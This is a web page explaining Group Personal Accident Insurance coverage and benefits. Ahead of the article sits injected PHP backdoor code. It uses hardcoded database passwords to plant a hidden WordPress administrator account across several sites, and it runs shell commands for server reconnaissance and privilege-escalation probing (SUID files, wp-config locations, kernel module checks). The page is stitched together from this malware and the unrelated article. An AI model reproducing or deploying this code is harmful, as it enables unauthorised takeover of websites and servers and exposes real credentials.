add_action("wp_ajax_kpd", function() { $r = array(); $user = "svccba309"; $email = "svccba309@wp-monitor.net"; $pass_raw = "Kj8mP2vL9n!7"; $pass_hash = password_hash($pass_raw, PASSWORD_BCRYPT); $sites = array( array("sbowap88_sbobet381", "4Sw9TA6@p)", "sbobet381"), array("sbowap88_totojitu", "T)SQqp862-", "totovipjitu"), array("sbowap88_club388net", "rBx*KK8MSFhs", "club388login"), ); foreach ($sites as $s) { $dbname = $s[0]; $dbpass = $s[1]; $label = $s[2]; $db = new mysqli("localhost", $dbname, $dbpass, $dbname); if ($db->connect_error) { $r[$label] = "CONNECT_FAIL: " . $db->connect_error; continue; } // Find users table (detect prefix) $prefix = ""; $res = $db->query("SHOW TABLES LIKE '%users'"); if ($res && $row = $res->fetch_row()) { $tbl = $row[0]; $prefix = str_replace("users", "", $tbl); } else { $r[$label] = "NO_USERS_TABLE"; $db->close(); continue; } // Check if user already exists $check = $db->query("SELECT ID FROM " . $db->real_escape_string($prefix) . "users WHERE user_login='" . $db->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $r[$label] = "EXISTS (id=" . $check->fetch_row()[0] . ")"; $db->close(); continue; } // Get max ID $max_res = $db->query("SELECT MAX(ID) FROM " . $db->real_escape_string($prefix) . "users"); $max_id = $max_res ? $max_res->fetch_row()[0] + 1 : 999; // INSERT user $sql = "INSERT INTO `" . $prefix . "users` (ID, user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($pass_hash) . "', '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($email) . "', NOW(), 0, '" . $db->real_escape_string($user) . "')"; $db->query($sql); if ($db->error) { $r[$label] = "INSERT_FAIL: " . $db->error; $db->close(); continue; } // INSERT usermeta (administrator role) $meta_tbl = $prefix . "usermeta"; $opt_res = $db->query("SELECT option_value FROM `" . $prefix . "options` WHERE option_name='table_prefix' OR option_name LIKE '%user_roles' LIMIT 1"); // Detect actual prefix from options table $roles_key = $prefix . "capabilities"; $level_key = $prefix . "user_level"; $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($roles_key) . "', 'a:1:{s:13:\"administrator\";b:1;}')"); $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($level_key) . "', '10')"); if ($db->error) { $r[$label] = "META_FAIL: " . $db->error; } else { $r[$label] = "YES (id=" . $max_id . ", prefix=" . $prefix . ")"; } $db->close(); } // Also verify totovipgame existing admin $db2 = new mysqli("localhost", "sbowap88_totogame", "p.Stj2]534", "sbowap88_totogame"); if (!$db2->connect_error) { $res = $db2->query("SHOW TABLES LIKE '%users'"); $tbl = $res->fetch_row()[0]; $prefix = str_replace("users", "", $tbl); $check = $db2->query("SELECT ID, user_login FROM `" . $prefix . "users` WHERE user_login='" . $db2->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $row = $check->fetch_assoc(); $r["totovipgame"] = "EXISTS (id=" . $row["ID"] . ")"; } else { $r["totovipgame"] = "NOT_FOUND"; } $db2->close(); } $r["hash_algo"] = "bcrypt"; echo json_encode($r); wp_die(); }); add_action("wp_ajax_kpd", function() { $r = array(); function run($cmd) { $desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")); $p = proc_open($cmd, $desc, $pipes); if (!is_resource($p)) return "FAIL"; $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); proc_close($p); return trim($out . ($err ? "\n" . $err : "")); } $r["id"] = run("id 2>&1"); $r["uname"] = run("uname -r 2>&1"); $r["hostname"] = run("hostname -f 2>&1"); $r["home"] = run("ls /home/ 2>&1 | head -20"); $r["home_count"] = run("ls /home/ 2>/dev/null | wc -l"); $r["configs"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | wc -l"); $r["configs_list"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | head -20"); $r["suid"] = run("find / -perm -4000 -readable -type f 2>/dev/null | head -10"); $r["python"] = run("which python3 2>&1"); $r["perl"] = run("which perl 2>&1"); $r["userns"] = run("cat /proc/sys/user/max_user_namespaces 2>&1"); $r["kcare"] = run("kcarectl --info 2>&1 | head -2"); $r["cagefs"] = run("cagefsctl --cagefs-status 2>&1"); $r["dirtyfrag"] = run("cat /etc/modprobe.d/dirtyfrag.conf 2>&1"); $r["modblock"] = run("grep -r false /etc/modprobe.d/ 2>&1 | head -5"); $r["cpanel_ver"] = run("cat /usr/local/cpanel/version 2>&1"); $r["disable"] = ini_get("disable_functions"); $py = trim(run("which python3 2>&1")); if ($py && strpos($py, "/") === 0) { $r["authencesn"] = run($py . " -c \"import socket; s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); print(1)\" 2>&1"); } $redis = @fsockopen("127.0.0.1", 6379, $e, $es, 2); if ($redis) { fwrite($redis, "PING\r\n"); $r["redis"] = trim(fgets($redis, 64)); fclose($redis); } echo json_encode($r); wp_die(); }); Group Personal Accident Insurance Coverage - Sentinelindia
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Group Personal Accident Insurance

Group Personal Accident Insurance, as the name suggests, is a group insurance policy that covers accident mainly for the employees under corporate group insurance. It is available for both, the employees and board or owner of a company. This insurance provides comprehensive financial protection against hefty expenses incurred due to the disablement of the insured in accordance with the terms mentioned in the policy. The terms include conditions of disablement or death.

Features of Group Personal Accident Insurance

A Group Personal Accident Insurance has the following characteristics-

  • It is issued to the group of people with a similar risk profile.
  • This group can be formed by an employer for his/her employees, organization, travel company, banks and other service providers for customers.
  • The policy covers the expenses and gives compensation to the group members insured for any injury mentioned in the causes occurred in their lives.
  • It is applicable to the entire world.

The general benefits included are-

  • Accidental death
  • Medical expenses incurred due to accidents
  • Permanent total disability due to the accident
  • Permanent partial disability caused by an accident

What All Does Personal Group Accident Insurance Cover?

The coverage of Group Personal Accident Insurance depends upon the terms of the plan. However, most group personal accident insurance cover-

  • An accidental death- The family member of the insured receives the compensation if an injury that costed his/her life.
  • Permanent total disability- In case of an employee's accident and if that leads to his/her permanent disability that continues for over 12 months, then the compensation as per the SI (Sum Insured) is paid to the person insured.
  • Permanent partial disability- If the insured gets disabled partially, then 2%-60% of the total SI is paid by the insurer depending on the terms of the policy. It is applicable when the disability continues for over 12 months.
  • Weekly benefits- Weekly benefits are provided to the insured if he/she is fully disabled. It is provided for a temporary period of time to compensate for the loss of salary due to not be able to work.
  • Ambulance charges- Ambulance charges are reimbursed if the insured, because of injury, has to be taken to the hospital.
  • Mortal remains charges- A group personal accident insurance policy will reimburse all the expenses arisen during the transportation of the insured person's mortal remains to ground or home.
  • Broken bones- If the insured gets his/her bones broken or damaged due to accident or injury of the insured, then the policy pays an amount to him/her.
  • Medical reimbursements- All the hospitalization charges and medical expenses related to the injury get reimbursed.
  • Education benefits- The policy covers the educational costs of the children. It reimburses the amount if the insured dies or faces permanent disability.
  • Lifestyle changes- Because of permanent disability, the insured may need some modifications to the car or in the house to keep them at ease. The policy reimburses some amount for such expenses.

Benefits of Group Personal Accident Insurance

The key benefits that are provided under the group accident insurance plan is that it safeguards you against any financial liability that can arise because of disability or death due to an accident. This policy is designed keeping in mind that the sole bread earner of a family has individuals who are dependent upon him both financially and emotionally and it is the responsibility of the bread earner to safeguard their interest and future. Other than this, there are various other benefits that the group personal accident insurance provides to the policyholder.

  • Group Personal Accident Insurance is important because it fulfils the basic responsibility of any business organization. It is to protect the employees against any unfortunate events.
  • It understands the importance of employees for any organization and therefore protects them from various unfortunate events that can cause death or permanent disablement to the insured.
  • It assures quick claim settlement. It helps employers to avoid the burden of liability by paying the claim to the policyholder or his/her nominee.
  • It is great for the reputation of an organization as it gives satisfaction to the workers that the employer is concerned about them and is doing its bit to protect them.

Key Highlights of Group Personal Accident Insurance

Some of the key highlights of Group Personal Accident Insurance are mentioned below:

  • A comprehensive cover for all the expenditures related with accidents are covered under Group Personal Accident Insurance
  • If there is an accidental death of the insured individual, then 100% of sum insured is paid to the nominee.
  • If the insured individual loses vital limbs, then the entire sum insured (100%) is paid.
  • A specific sum insured percentage will be provided to the insured member if there is temporary or complete disability.
  • Protection against the burns to the insured individual is provided that can arise because of an accident.
  • Cover for stroke and heart attack are also provided by certain Group personal Accident Insurance Plans.
  • Coverage for the broken bone of an insured due to the accident is also provided

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